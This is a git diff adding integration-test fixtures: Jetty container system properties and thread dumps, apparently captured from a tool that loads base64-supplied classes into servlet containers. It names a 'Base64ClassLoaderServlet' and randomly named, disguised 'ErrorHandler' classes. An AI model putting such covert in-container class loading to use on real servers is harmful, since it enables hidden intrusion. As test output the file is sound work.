java.base@17.0.15/sun.nio.ch.EPollSelectorImpl.doSelect(Unknown Source) + at java.base@17.0.15/sun.nio.ch.SelectorImpl.lockAndDoSelect(Unknown Source) + at java.base@17.0.15/sun.nio.ch.SelectorImpl.select(Unknown Source) + at app//org.eclipse.jetty.io.ManagedSelector.nioSelect(ManagedSelector.java:181) + at app//org.eclipse.jetty.io.ManagedSelector.select(ManagedSelector.java:188) + at app//org.eclipse.jetty.io.ManagedSelector$SelectorProducer.select(ManagedSelector.java:606) + at app//org.eclipse.jetty.io.ManagedSelector$SelectorProducer.produce(ManagedSelector.java:542) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.produceTask(AdaptiveExecutionStrategy.java:455) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.tryProduce(AdaptiveExecutionStrategy.java:248) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.run(AdaptiveExecutionStrategy.java:199) + at app//org.eclipse.jetty.util.thread.ReservedThreadExecutor$ReservedThread.run(ReservedThreadExecutor.java:411) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:969) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.doRunJob(QueuedThreadPool.java:1194) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1149) + at java.base@17.0.15/java.lang.Thread.run(Unknown Source) + +"qtp1068934215-18" #18 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.15/java.lang.Thread.dumpThreads(Native Method) + at java.base@17.0.15/java.lang.Thread.getAllStackTraces(Unknown Source) + at org.apache.logging.DLQpD.ErrorHandler.toString(BasicInfoPrinter.java:26) + at java.base@17.0.15/java.lang.String.valueOf(Unknown Source) + at app//org.eclipse.jetty.server.ResponseWriter.print(ResponseWriter.java:310) + at jakarta.Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:29) + at app//org.eclipse.jetty.servlet.ServletHolder$NotAsync.service(ServletHolder.java:1419) + at app//org.eclipse.jetty.servlet.ServletHolder.handle(ServletHolder.java:764) + at app//org.eclipse.jetty.servlet.ServletHandler$ChainEnd.doFilter(ServletHandler.java:1665) + at jakarta.EmptyFilter.doFilter(EmptyFilter.java:15) + at app//org.eclipse.jetty.servlet.FilterHolder.doFilter(FilterHolder.java:210) + at app//org.eclipse.jetty.servlet.ServletHandler$Chain.doFilter(ServletHandler.java:1635) + at app//org.eclipse.jetty.websocket.servlet.WebSocketUpgradeFilter.doFilter(WebSocketUpgradeFilter.java:170) + at app//org.eclipse.jetty.servlet.FilterHolder.doFilter(FilterHolder.java:202) + at app//org.eclipse.jetty.servlet.ServletHandler$Chain.doFilter(ServletHandler.java:1635) + at app//org.eclipse.jetty.servlet.ServletHandler.doHandle(ServletHandler.java:527) + at app//org.eclipse.jetty.server.handler.ScopedHandler.handle(ScopedHandler.java:131) + at app//org.eclipse.jetty.security.SecurityHandler.handle(SecurityHandler.java:598) + at app//org.eclipse.jetty.server.handler.HandlerWrapper.handle(HandlerWrapper.java:122) + at app//org.eclipse.jetty.server.handler.ScopedHandler.nextHandle(ScopedHandler.java:223) + at app//org.eclipse.jetty.server.session.SessionHandler.doHandle(SessionHandler.java:1580) + at app//org.eclipse.jetty.server.handler.ScopedHandler.nextHandle(ScopedHandler.java:221) + at app//org.eclipse.jetty.server.handler.ContextHandler.doHandle(ContextHandler.java:1381) + at app//org.eclipse.jetty.server.handler.ScopedHandler.nextScope(ScopedHandler.java:176) + at app//org.eclipse.jetty.servlet.ServletHandler.doScope(ServletHandler.java:484) + at app//org.eclipse.jetty.server.session.SessionHandler.doScope(SessionHandler.java:1553) + at app//org.eclipse.jetty.server.handler.ScopedHandler.nextScope(ScopedHandler.java:174) + at app//org.eclipse.jetty.server.handler.ContextHandler.doScope(ContextHandler.java:1303) + at app//org.eclipse.jetty.server.handler.ScopedHandler.handle(ScopedHandler.java:129) + at app//org.eclipse.jetty.server.handler.ContextHandlerCollection.handle(ContextHandlerCollection.java:149) + at app//org.eclipse.jetty.server.handler.HandlerList.handle(HandlerList.java:51) + at app//org.eclipse.jetty.server.handler.HandlerWrapper.handle(HandlerWrapper.java:122) + at app//org.eclipse.jetty.server.Server.handle(Server.java:563) + at app//org.eclipse.jetty.server.HttpChannel$RequestDispatchable.dispatch(HttpChannel.java:1598) + at app//org.eclipse.jetty.server.HttpChannel.dispatch(HttpChannel.java:753) + at app//org.eclipse.jetty.server.HttpChannel.handle(HttpChannel.java:501) + at app//org.eclipse.jetty.server.HttpConnection.onFillable(HttpConnection.java:287) + at app//org.eclipse.jetty.io.AbstractConnection$ReadCallback.succeeded(AbstractConnection.java:314) + at app//org.eclipse.jetty.io.FillInterest.fillable(FillInterest.java:100) + at app//org.eclipse.jetty.io.SelectableChannelEndPoint$1.run(SelectableChannelEndPoint.java:53) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.runTask(AdaptiveExecutionStrategy.java:421) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.consumeTask(AdaptiveExecutionStrategy.java:390) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.tryProduce(AdaptiveExecutionStrategy.java:277) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.produce(AdaptiveExecutionStrategy.java:193) + at app//org.eclipse.jetty.io.ManagedSelector$$Lambda$207/0x00000005011a7040.run(Unknown Source) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:969) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.doRunJob(QueuedThreadPool.java:1194) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1149) + at java.base@17.0.15/java.lang.Thread.run(Unknown Source) + +"qtp1068934215-19" #19 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.15/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.15/sun.nio.ch.EPollSelectorImpl.doSelect(Unknown Source) + at java.base@17.0.15/sun.nio.ch.SelectorImpl.lockAndDoSelect(Unknown Source) + at java.base@17.0.15/sun.nio.ch.SelectorImpl.select(Unknown Source) + at app//org.eclipse.jetty.io.ManagedSelector.nioSelect(ManagedSelector.java:181) + at app//org.eclipse.jetty.io.ManagedSelector.select(ManagedSelector.java:188) + at app//org.eclipse.jetty.io.ManagedSelector$SelectorProducer.select(ManagedSelector.java:606) + at app//org.eclipse.jetty.io.ManagedSelector$SelectorProducer.produce(ManagedSelector.java:542) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.produceTask(AdaptiveExecutionStrategy.java:455) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.tryProduce(AdaptiveExecutionStrategy.java:248) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.run(AdaptiveExecutionStrategy.java:199) + at app//org.eclipse.jetty.util.thread.ReservedThreadExecutor$ReservedThread.run(ReservedThreadExecutor.java:411) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:969) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.doRunJob(QueuedThreadPool.java:1194) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1149) + at java.base@17.0.15/java.lang.Thread.run(Unknown Source) + +"qtp1068934215-24" #24 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6e5a51a4 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(Unknown Source) + at java.base@17.0.15/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(Unknown Source) + at app//org.eclipse.jetty.util.BlockingArrayQueue.poll(BlockingArrayQueue.java:219) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.idleJobPoll(QueuedThreadPool.java:1124) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1141) + at java.base@17.0.15/java.lang.Thread.run(Unknown Source) + +"qtp1068934215-17" #17 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.15/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.15/sun.nio.ch.EPollSelectorImpl.doSelect(Unknown Source) + at java.base@17.0.15/sun.nio.ch.SelectorImpl.lockAndDoSelect(Unknown Source) + at java.base@17.0.15/sun.nio.ch.SelectorImpl.select(Unknown Source) + at app//org.eclipse.jetty.io.ManagedSelector.nioSelect(ManagedSelector.java:181) + at app//org.eclipse.jetty.io.ManagedSelector.select(ManagedSelector.java:188) + at app//org.eclipse.jetty.io.ManagedSelector$SelectorProducer.select(ManagedSelector.java:606) + at app//org.eclipse.jetty.io.ManagedSelector$SelectorProducer.produce(ManagedSelector.java:542) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.produceTask(AdaptiveExecutionStrategy.java:455) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.tryProduce(AdaptiveExecutionStrategy.java:248) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.run(AdaptiveExecutionStrategy.java:199) + at app//org.eclipse.jetty.util.thread.ReservedThreadExecutor$ReservedThread.run(ReservedThreadExecutor.java:411) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:969) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.doRunJob(QueuedThreadPool.java:1194) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1149) + at java.base@17.0.15/java.lang.Thread.run(Unknown Source) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@f352492 + java.lang.Thread.State: WAITING + at java.base@17.0.15/java.lang.Object.wait(Native Method) + at java.base@17.0.15/java.lang.ref.ReferenceQueue.remove(Unknown Source) + at java.base@17.0.15/java.lang.ref.ReferenceQueue.remove(Unknown Source) + at java.base@17.0.15/java.lang.ref.Finalizer$FinalizerThread.run(Unknown Source) + +"Scanner-0-1" #26 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@40dbf6a + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(Unknown Source) + at java.base@17.0.15/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(Unknown Source) + at java.base@17.0.15/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(Unknown Source) + at java.base@17.0.15/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(Unknown Source) + at java.base@17.0.15/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base@17.0.15/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base@17.0.15/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base@17.0.15/java.lang.Thread.run(Unknown Source) + +"qtp1068934215-21" #21 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6e5a51a4 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(Unknown Source) + at java.base@17.0.15/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(Unknown Source) + at app//org.eclipse.jetty.util.BlockingArrayQueue.poll(BlockingArrayQueue.java:219) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.idleJobPoll(QueuedThreadPool.java:1124) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1141) + at java.base@17.0.15/java.lang.Thread.run(Unknown Source) + +"DestroyJavaVM" #27 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"qtp1068934215-16" #16 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@2aea7ca4 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(Unknown Source) + at java.base@17.0.15/java.util.concurrent.SynchronousQueue$TransferStack.transfer(Unknown Source) + at java.base@17.0.15/java.util.concurrent.SynchronousQueue.poll(Unknown Source) + at app//org.eclipse.jetty.util.thread.ReservedThreadExecutor$ReservedThread.reservedWait(ReservedThreadExecutor.java:325) + at app//org.eclipse.jetty.util.thread.ReservedThreadExecutor$ReservedThread.run(ReservedThreadExecutor.java:401) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:969) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.doRunJob(QueuedThreadPool.java:1194) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1149) + at java.base@17.0.15/java.lang.Thread.run(Unknown Source) + + +=========================================== + +StackClassNames: +jakarta.Base64ClassLoaderServlet +jakarta.EmptyFilter +org.apache.logging.DLQpD.ErrorHandler +org.eclipse.jetty.io.AbstractConnection$ReadCallback +org.eclipse.jetty.io.FillInterest +org.eclipse.jetty.io.ManagedSelector +org.eclipse.jetty.io.ManagedSelector$$Lambda$207/0x00000005011a7040 +org.eclipse.jetty.io.ManagedSelector$SelectorProducer +org.eclipse.jetty.io.SelectableChannelEndPoint$1 +org.eclipse.jetty.security.SecurityHandler +org.eclipse.jetty.server.AbstractConnector$Acceptor +org.eclipse.jetty.server.HttpChannel +org.eclipse.jetty.server.HttpChannel$RequestDispatchable +org.eclipse.jetty.server.HttpConnection +org.eclipse.jetty.server.ResponseWriter +org.eclipse.jetty.server.Server +org.eclipse.jetty.server.ServerConnector +org.eclipse.jetty.server.handler.ContextHandler +org.eclipse.jetty.server.handler.ContextHandlerCollection +org.eclipse.jetty.server.handler.HandlerList +org.eclipse.jetty.server.handler.HandlerWrapper +org.eclipse.jetty.server.handler.ScopedHandler +org.eclipse.jetty.server.session.SessionHandler +org.eclipse.jetty.servlet.FilterHolder +org.eclipse.jetty.servlet.ServletHandler +org.eclipse.jetty.servlet.ServletHandler$Chain +org.eclipse.jetty.servlet.ServletHandler$ChainEnd +org.eclipse.jetty.servlet.ServletHolder +org.eclipse.jetty.servlet.ServletHolder$NotAsync +org.eclipse.jetty.util.BlockingArrayQueue +org.eclipse.jetty.util.thread.QueuedThreadPool +org.eclipse.jetty.util.thread.QueuedThreadPool$Runner +org.eclipse.jetty.util.thread.ReservedThreadExecutor$ReservedThread +org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy +org.eclipse.jetty.websocket.servlet.WebSocketUpgradeFilter diff --git a/integration-test/src/test/resources/infos/Jetty12ee10ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/Jetty12ee10ContainerTestBasicInfo.txt new file mode 100644 index 00000000..fbac3126 --- /dev/null +++ b/integration-test/src/test/resources/infos/Jetty12ee10ContainerTestBasicInfo.txt @@ -0,0 +1,331 @@ +# Generated At 2025-08-10 14:58:13 +SystemProps: +java.specification.version: 21 +sun.jnu.encoding: UTF-8 +java.class.path: /var/lib/jetty/resources:/usr/local/jetty/lib/logging/slf4j-api-2.0.17.jar:/usr/local/jetty/lib/logging/jetty-slf4j-impl-12.0.21.jar:/usr/local/jetty/lib/jetty-http-12.0.21.jar:/usr/local/jetty/lib/jetty-server-12.0.21.jar:/usr/local/jetty/lib/jetty-xml-12.0.21.jar:/usr/local/jetty/lib/jetty-util-12.0.21.jar:/usr/local/jetty/lib/jetty-io-12.0.21.jar:/usr/local/jetty/lib/jetty-deploy-12.0.21.jar:/usr/local/jetty/lib/jetty-session-12.0.21.jar:/usr/local/jetty/lib/jetty-security-12.0.21.jar:/usr/local/jetty/lib/jetty-ee-12.0.21.jar +java.vm.vendor: Eclipse Adoptium +sun.arch.data.model: 64 +java.vendor.url: https://adoptium.net/ +jetty.base: /var/lib/jetty +user.timezone: Etc/UTC +jetty.home: /usr/local/jetty +java.vm.specification.version: 21 +os.name: Linux +sun.java.launcher: SUN_STANDARD +user.country: US +sun.boot.library.path: /opt/java/openjdk/lib +sun.java.command: org.eclipse.jetty.xml.XmlConfiguration java.io.tmpdir=/tmp/jetty java.version=21.0.7 jetty.base=/var/lib/jetty jetty.base.uri=file:///var/lib/jetty jetty.home=/usr/local/jetty jetty.home.uri=file:///usr/local/jetty jetty.webapp.addHiddenClasses=org.eclipse.jetty.logging.,file:///usr/local/jetty/lib/logging/,org.slf4j. runtime.feature.alpn=true slf4j.version=2.0.17 /usr/local/jetty/etc/jetty-bytebufferpool.xml /usr/local/jetty/etc/jetty-threadpool.xml /usr/local/jetty/etc/jetty.xml /usr/local/jetty/etc/jetty-deploy.xml /usr/local/jetty/etc/sessions/id-manager.xml /usr/local/jetty/etc/jetty-ee-webapp.xml /usr/local/jetty/etc/jetty-http.xml --env ee10 -cp /usr/local/jetty/lib/jakarta.servlet-api-6.0.0.jar -cp /usr/local/jetty/lib/jetty-ee10-servlet-12.0.21.jar -cp /usr/local/jetty/lib/jetty-ee10-webapp-12.0.21.jar contextHandlerClass=org.eclipse.jetty.ee10.webapp.WebAppContext /usr/local/jetty/etc/jetty-ee10-webapp.xml /usr/local/jetty/etc/jetty-ee10-deploy.xml +jdk.debug: release +sun.cpu.endian: little +user.home: /var/lib/jetty +user.language: en +java.specification.vendor: Oracle Corporation +java.version.date: 2025-04-15 +java.home: /opt/java/openjdk +file.separator: / +java.vm.compressedOopsMode: Zero based +line.separator: + +java.vm.specification.vendor: Oracle Corporation +java.specification.name: Java Platform API Specification +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +java.runtime.version: 21.0.7+6-LTS +user.name: jetty +stdout.encoding: UTF-8 +path.separator: : +os.version: 6.14.10-orbstack-00291-g1b252bd3edea +java.runtime.name: OpenJDK Runtime Environment +file.encoding: UTF-8 +java.vm.name: OpenJDK 64-Bit Server VM +java.vendor.version: Temurin-21.0.7+6 +java.vendor.url.bug: https://github.com/adoptium/adoptium-support/issues +jetty.git.hash: 1c4719601e31b05b7d68910d2edd980259f1f53c +java.io.tmpdir: /tmp +java.version: 21.0.7 +user.dir: /var/lib/jetty +os.arch: aarch64 +java.vm.specification.name: Java Virtual Machine Specification +native.encoding: UTF-8 +java.library.path: /usr/java/packages/lib:/usr/lib64:/lib64:/lib:/usr/lib +java.vm.info: mixed mode, sharing +stderr.encoding: UTF-8 +java.vendor: Eclipse Adoptium +java.vm.version: 21.0.7+6-LTS +sun.io.unicode.encoding: UnicodeLittle +java.class.version: 65.0 + +=========================================== + +ThreadStacks: +"qtp1529306539-30-acceptor-0@1d77ea4b-ServerConnector@43599640{HTTP/1.1, (http/1.1)}{0.0.0.0:8080}" #30 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.7/sun.nio.ch.Net.accept(Native Method) + at java.base@21.0.7/sun.nio.ch.ServerSocketChannelImpl.implAccept(Unknown Source) + at java.base@21.0.7/sun.nio.ch.ServerSocketChannelImpl.accept(Unknown Source) + at app//org.eclipse.jetty.server.ServerConnector.accept(ServerConnector.java:389) + at app//org.eclipse.jetty.server.AbstractConnector$Acceptor.run(AbstractConnector.java:698) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:981) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.doRunJob(QueuedThreadPool.java:1211) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1166) + at java.base@21.0.7/java.lang.Thread.runWith(Unknown Source) + at java.base@21.0.7/java.lang.Thread.run(Unknown Source) + +"qtp1529306539-29" #29 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.7/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.7/sun.nio.ch.EPollSelectorImpl.doSelect(Unknown Source) + at java.base@21.0.7/sun.nio.ch.SelectorImpl.lockAndDoSelect(Unknown Source) + at java.base@21.0.7/sun.nio.ch.SelectorImpl.select(Unknown Source) + at app//org.eclipse.jetty.io.ManagedSelector.nioSelect(ManagedSelector.java:182) + at app//org.eclipse.jetty.io.ManagedSelector.select(ManagedSelector.java:189) + at app//org.eclipse.jetty.io.ManagedSelector$SelectorProducer.select(ManagedSelector.java:614) + at app//org.eclipse.jetty.io.ManagedSelector$SelectorProducer.produce(ManagedSelector.java:548) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.produceTask(AdaptiveExecutionStrategy.java:514) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.tryProduce(AdaptiveExecutionStrategy.java:258) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.produce(AdaptiveExecutionStrategy.java:195) + at app//org.eclipse.jetty.io.ManagedSelector$$Lambda/0x000000f001197a50.run(Unknown Source) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:981) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.doRunJob(QueuedThreadPool.java:1211) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1166) + at java.base@21.0.7/java.lang.Thread.runWith(Unknown Source) + at java.base@21.0.7/java.lang.Thread.run(Unknown Source) + +"Notification Thread" #18 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Finalizer" #10 daemon [WAITING] on java.lang.ref.NativeReferenceQueue$Lock@6446e7e2 + java.lang.Thread.State: WAITING + at java.base@21.0.7/java.lang.Object.wait0(Native Method) + at java.base@21.0.7/java.lang.Object.wait(Unknown Source) + at java.base@21.0.7/java.lang.Object.wait(Unknown Source) + at java.base@21.0.7/java.lang.ref.NativeReferenceQueue.await(Unknown Source) + at java.base@21.0.7/java.lang.ref.ReferenceQueue.remove0(Unknown Source) + at java.base@21.0.7/java.lang.ref.NativeReferenceQueue.remove(Unknown Source) + at java.base@21.0.7/java.lang.ref.Finalizer$FinalizerThread.run(Unknown Source) + +"qtp1529306539-31" #31 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@42cfe635 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.7/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.7/java.util.concurrent.locks.LockSupport.parkNanos(Unknown Source) + at java.base@21.0.7/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(Unknown Source) + at app//org.eclipse.jetty.util.BlockingArrayQueue.poll(BlockingArrayQueue.java:213) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.idleJobPoll(QueuedThreadPool.java:1141) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1158) + at java.base@21.0.7/java.lang.Thread.runWith(Unknown Source) + at java.base@21.0.7/java.lang.Thread.run(Unknown Source) + +"qtp1529306539-34" #34 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@42cfe635 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.7/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.7/java.util.concurrent.locks.LockSupport.parkNanos(Unknown Source) + at java.base@21.0.7/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(Unknown Source) + at app//org.eclipse.jetty.util.BlockingArrayQueue.poll(BlockingArrayQueue.java:213) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.idleJobPoll(QueuedThreadPool.java:1141) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1158) + at java.base@21.0.7/java.lang.Thread.runWith(Unknown Source) + at java.base@21.0.7/java.lang.Thread.run(Unknown Source) + +"qtp1529306539-33" #33 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.7/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.7/sun.nio.ch.EPollSelectorImpl.doSelect(Unknown Source) + at java.base@21.0.7/sun.nio.ch.SelectorImpl.lockAndDoSelect(Unknown Source) + at java.base@21.0.7/sun.nio.ch.SelectorImpl.select(Unknown Source) + at app//org.eclipse.jetty.io.ManagedSelector.nioSelect(ManagedSelector.java:182) + at app//org.eclipse.jetty.io.ManagedSelector.select(ManagedSelector.java:189) + at app//org.eclipse.jetty.io.ManagedSelector$SelectorProducer.select(ManagedSelector.java:614) + at app//org.eclipse.jetty.io.ManagedSelector$SelectorProducer.produce(ManagedSelector.java:548) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.produceTask(AdaptiveExecutionStrategy.java:514) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.tryProduce(AdaptiveExecutionStrategy.java:258) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.run(AdaptiveExecutionStrategy.java:201) + at app//org.eclipse.jetty.util.thread.ReservedThreadExecutor$ReservedThread.run(ReservedThreadExecutor.java:311) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:981) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.doRunJob(QueuedThreadPool.java:1211) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1166) + at java.base@21.0.7/java.lang.Thread.runWith(Unknown Source) + at java.base@21.0.7/java.lang.Thread.run(Unknown Source) + +"DestroyJavaVM" #36 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"qtp1529306539-21" #21 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.7/java.lang.Thread.dumpThreads(Native Method) + at java.base@21.0.7/java.lang.Thread.getAllStackTraces(Unknown Source) + at org.apache.mWhgb.ErrorHandler.toString(BasicInfoPrinter.java:26) + at java.base@21.0.7/java.lang.String.valueOf(Unknown Source) + at org.eclipse.jetty.ee10.servlet.ResponseWriter.print(ResponseWriter.java:315) + at jakarta.Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:29) + at org.eclipse.jetty.ee10.servlet.ServletHolder$NotAsync.service(ServletHolder.java:1379) + at org.eclipse.jetty.ee10.servlet.ServletHolder.handle(ServletHolder.java:736) + at org.eclipse.jetty.ee10.servlet.ServletHandler$ChainEnd.doFilter(ServletHandler.java:1622) + at jakarta.EmptyFilter.doFilter(EmptyFilter.java:15) + at org.eclipse.jetty.ee10.servlet.FilterHolder.doFilter(FilterHolder.java:208) + at org.eclipse.jetty.ee10.servlet.ServletHandler$Chain.doFilter(ServletHandler.java:1594) + at org.eclipse.jetty.ee10.servlet.ServletHandler$MappedServlet.handle(ServletHandler.java:1555) + at org.eclipse.jetty.ee10.servlet.ServletChannel.dispatch(ServletChannel.java:819) + at org.eclipse.jetty.ee10.servlet.ServletChannel.handle(ServletChannel.java:436) + at org.eclipse.jetty.ee10.servlet.ServletHandler.handle(ServletHandler.java:470) + at app//org.eclipse.jetty.security.SecurityHandler.handle(SecurityHandler.java:575) + at org.eclipse.jetty.ee10.servlet.SessionHandler.handle(SessionHandler.java:717) + at app//org.eclipse.jetty.server.handler.ContextHandler.handle(ContextHandler.java:1071) + at app//org.eclipse.jetty.server.handler.ContextHandlerCollection.handle(ContextHandlerCollection.java:151) + at app//org.eclipse.jetty.server.Server.handle(Server.java:182) + at app//org.eclipse.jetty.server.internal.HttpChannelState$HandlerInvoker.run(HttpChannelState.java:665) + at app//org.eclipse.jetty.server.internal.HttpConnection.onFillable(HttpConnection.java:416) + at app//org.eclipse.jetty.io.AbstractConnection$ReadCallback.succeeded(AbstractConnection.java:322) + at app//org.eclipse.jetty.io.FillInterest.fillable(FillInterest.java:99) + at app//org.eclipse.jetty.io.SelectableChannelEndPoint$1.run(SelectableChannelEndPoint.java:53) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.runTask(AdaptiveExecutionStrategy.java:480) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.consumeTask(AdaptiveExecutionStrategy.java:443) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.tryProduce(AdaptiveExecutionStrategy.java:293) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.produce(AdaptiveExecutionStrategy.java:195) + at app//org.eclipse.jetty.io.ManagedSelector$$Lambda/0x000000f001197a50.run(Unknown Source) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:981) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.doRunJob(QueuedThreadPool.java:1211) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1166) + at java.base@21.0.7/java.lang.Thread.runWith(Unknown Source) + at java.base@21.0.7/java.lang.Thread.run(Unknown Source) + +"qtp1529306539-27" #27 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.7/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.7/sun.nio.ch.EPollSelectorImpl.doSelect(Unknown Source) + at java.base@21.0.7/sun.nio.ch.SelectorImpl.lockAndDoSelect(Unknown Source) + at java.base@21.0.7/sun.nio.ch.SelectorImpl.select(Unknown Source) + at 